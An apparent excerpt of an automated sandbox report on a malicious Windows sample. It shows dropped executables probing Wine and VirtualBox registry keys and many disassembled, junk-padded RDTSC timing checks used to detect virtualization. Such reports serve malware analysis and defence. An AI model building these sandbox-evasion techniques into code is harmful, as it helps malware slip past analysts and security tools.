Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFF3B second address: AFF7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1BA7h], ecx 0x0000000f push dword ptr [ebp+122D0079h] 0x00000015 mov dword ptr [ebp+122D1CD1h], esi 0x0000001b call dword ptr [ebp+122D1BD3h] 0x00000021 pushad 0x00000022 sub dword ptr [ebp+122D1BC6h], ecx 0x00000028 xor eax, eax 0x0000002a stc 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f mov dword ptr [ebp+122D2A67h], edi 0x00000035 mov dword ptr [ebp+122D35E5h], eax 0x0000003b sub dword ptr [ebp+122D2A67h], ebx 0x00000041 mov esi, 0000003Ch 0x00000046 jmp 00007F6484B5864Ch 0x0000004b jmp 00007F6484B58650h 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 sub dword ptr [ebp+122D1BC6h], edi 0x0000005a jmp 00007F6484B58655h 0x0000005f lodsw 0x00000061 jbe 00007F6484B58657h 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b add dword ptr [ebp+122D2A2Ah], esi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 jc 00007F6484B5864Ch 0x0000007b mov dword ptr [ebp+122D2A67h], esi 0x00000081 nop 0x00000082 pushad 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 pop eax 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF7C7 second address: AFF7D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F648517316Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E4C1 second address: C5E4E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6484B5864Dh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6484B5864Ah 0x00000014 jl 00007F6484B58646h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BEA5 second address: C6BEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6485173166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BEAF second address: C6BEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6BEB3 second address: C6BEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6485173174h 0x0000000c jo 00007F6485173166h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jnl 00007F6485173166h 0x0000001a popad 0x0000001b pop esi 0x0000001c push edx 0x0000001d push ecx 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6485173178h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C077 second address: C6C07D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C07D second address: C6C096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6485173175h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C20D second address: C6C235 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Ch 0x00000007 jmp 00007F6484B58654h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C235 second address: C6C23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C23B second address: C6C243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C243 second address: C6C24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EB84 second address: C6EB94 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EB94 second address: AFF7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6485173166h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 je 00007F648517316Eh 0x00000016 jc 00007F6485173168h 0x0000001c push edi 0x0000001d pop edi 0x0000001e mov eax, dword ptr [eax] 0x00000020 jno 00007F6485173180h 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a jmp 00007F6485173173h 0x0000002f pop eax 0x00000030 mov edx, dword ptr [ebp+122D35DDh] 0x00000036 push dword ptr [ebp+122D0079h] 0x0000003c call dword ptr [ebp+122D1BD3h] 0x00000042 pushad 0x00000043 sub dword ptr [ebp+122D1BC6h], ecx 0x00000049 xor eax, eax 0x0000004b stc 0x0000004c mov edx, dword ptr [esp+28h] 0x00000050 mov dword ptr [ebp+122D2A67h], edi 0x00000056 mov dword ptr [ebp+122D35E5h], eax 0x0000005c sub dword ptr [ebp+122D2A67h], ebx 0x00000062 mov esi, 0000003Ch 0x00000067 jmp 00007F648517316Ch 0x0000006c jmp 00007F6485173170h 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 sub dword ptr [ebp+122D1BC6h], edi 0x0000007b jmp 00007F6485173175h 0x00000080 lodsw 0x00000082 jbe 00007F6485173177h 0x00000088 add eax, dword ptr [esp+24h] 0x0000008c add dword ptr [ebp+122D2A2Ah], esi 0x00000092 mov ebx, dword ptr [esp+24h] 0x00000096 jc 00007F648517316Ch 0x0000009c mov dword ptr [ebp+122D2A67h], esi 0x000000a2 nop 0x000000a3 pushad 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 push eax 0x000000a7 pop eax 0x000000a8 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6ED4A second address: C6ED50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EDA7 second address: C6EDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6485173168h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F6485173166h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EDBE second address: C6EE54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F6484B58648h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 jno 00007F6484B58657h 0x00000028 mov si, di 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F6484B58648h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 pushad 0x00000048 mov edx, dword ptr [ebp+122D33E1h] 0x0000004e add ebx, 594BE721h 0x00000054 popad 0x00000055 call 00007F6484B58649h 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F6484B58659h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EE54 second address: C6EE5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6485173166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EE5F second address: C6EE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6484B58655h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EE7E second address: C6EE84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EE84 second address: C6EEC6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 jg 00007F6484B5864Ch 0x00000017 jnp 00007F6484B5865Dh 0x0000001d jmp 00007F6484B58657h 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EEC6 second address: C6EECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EECA second address: C6EEDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EEDB second address: C6EEE5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EEE5 second address: C6EF3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F6484B58646h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000003h 0x0000000f mov ecx, edx 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D365Dh] 0x00000019 push 00000003h 0x0000001b mov edx, dword ptr [ebp+122D3509h] 0x00000021 call 00007F6484B58649h 0x00000026 push eax 0x00000027 pushad 0x00000028 jo 00007F6484B58646h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 pop eax 0x00000032 push eax 0x00000033 jmp 00007F6484B5864Fh 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c pushad 0x0000003d pushad 0x0000003e jno 00007F6484B58646h 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 pushad 0x00000048 push esi 0x00000049 pop esi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EF3F second address: C6EF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EF4D second address: C6EF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EF55 second address: C6EF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6EF5B second address: C6EFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edi 0x0000000b jmp 00007F6484B58652h 0x00000010 pop edi 0x00000011 pop eax 0x00000012 or dword ptr [ebp+122D2A2Ah], edi 0x00000018 push edi 0x00000019 jmp 00007F6484B58657h 0x0000001e pop edi 0x0000001f lea ebx, dword ptr [ebp+12442AE0h] 0x00000025 jns 00007F6484B5864Ch 0x0000002b push eax 0x0000002c jo 00007F6484B58654h 0x00000032 push eax 0x00000033 push edx 0x00000034 jne 00007F6484B58646h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6F022 second address: C6F026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6F026 second address: C6F0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007F6484B5864Eh 0x0000000d nop 0x0000000e or dword ptr [ebp+122D1BFEh], ecx 0x00000014 push 00000000h 0x00000016 jmp 00007F6484B5864Eh 0x0000001b push BA4633EEh 0x00000020 jmp 00007F6484B5864Bh 0x00000025 add dword ptr [esp], 45B9CC92h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F6484B58648h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jmp 00007F6484B5864Eh 0x0000004b jnl 00007F6484B58649h 0x00000051 push 00000003h 0x00000053 mov edi, dword ptr [ebp+122D1A95h] 0x00000059 push 00000000h 0x0000005b mov dx, 975Ah 0x0000005f jmp 00007F6484B5864Bh 0x00000064 push 00000003h 0x00000066 mov edx, dword ptr [ebp+122D2816h] 0x0000006c push BA508884h 0x00000071 push eax 0x00000072 push edx 0x00000073 jp 00007F6484B5865Ah 0x00000079 jmp 00007F6484B58654h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6F0E1 second address: C6F0F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6485173173h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F3E1 second address: C8F3E7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F3E7 second address: C8F3F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F6485173166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F3F2 second address: C8F3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D32E second address: C8D332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D332 second address: C8D33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D601 second address: C8D607 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DD06 second address: C8DD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DD0A second address: C8DD10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DD10 second address: C8DD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DECC second address: C8DED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DED2 second address: C8DEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E185 second address: C8E18C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E18C second address: C8E1C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6484B58650h 0x0000000b popad 0x0000000c jmp 00007F6484B58657h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F6484B58646h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E1C8 second address: C8E1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E1CC second address: C8E1DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E1DA second address: C8E203 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6485173176h 0x00000008 jmp 00007F648517316Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F648517316Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E203 second address: C8E207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E379 second address: C8E380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E380 second address: C8E396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6484B58646h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E396 second address: C8E39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E4FB second address: C8E4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E4FF second address: C8E523 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007F6485173166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e jnl 00007F648517316Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F6485173166h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9567E second address: C956B7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6484B5864Ch 0x00000008 jo 00007F6484B58646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jns 00007F6484B5865Bh 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95755 second address: C95759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95759 second address: C9575F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C968CA second address: C968E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F648517316Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F6485173166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C619BD second address: C619EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F6484B5864Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C619EB second address: C619F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99E62 second address: C99E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99373 second address: C99379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C995F4 second address: C99658 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6484B58658h 0x00000008 jmp 00007F6484B58650h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F6484B58657h 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F6484B5864Dh 0x0000001d jmp 00007F6484B5864Bh 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push edi 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99658 second address: C9965C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99CD5 second address: C99CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99CD9 second address: C99CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6485173166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E856 second address: C9E874 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58657h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EF92 second address: C9EF97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EF97 second address: C9EFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebx 0x0000000a sub dword ptr [ebp+122D3077h], edi 0x00000010 nop 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F6484B58646h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F046 second address: C9F04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F04A second address: C9F060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jp 00007F6484B58654h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F6484B58646h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F2F2 second address: C9F2F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F2F8 second address: C9F2FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
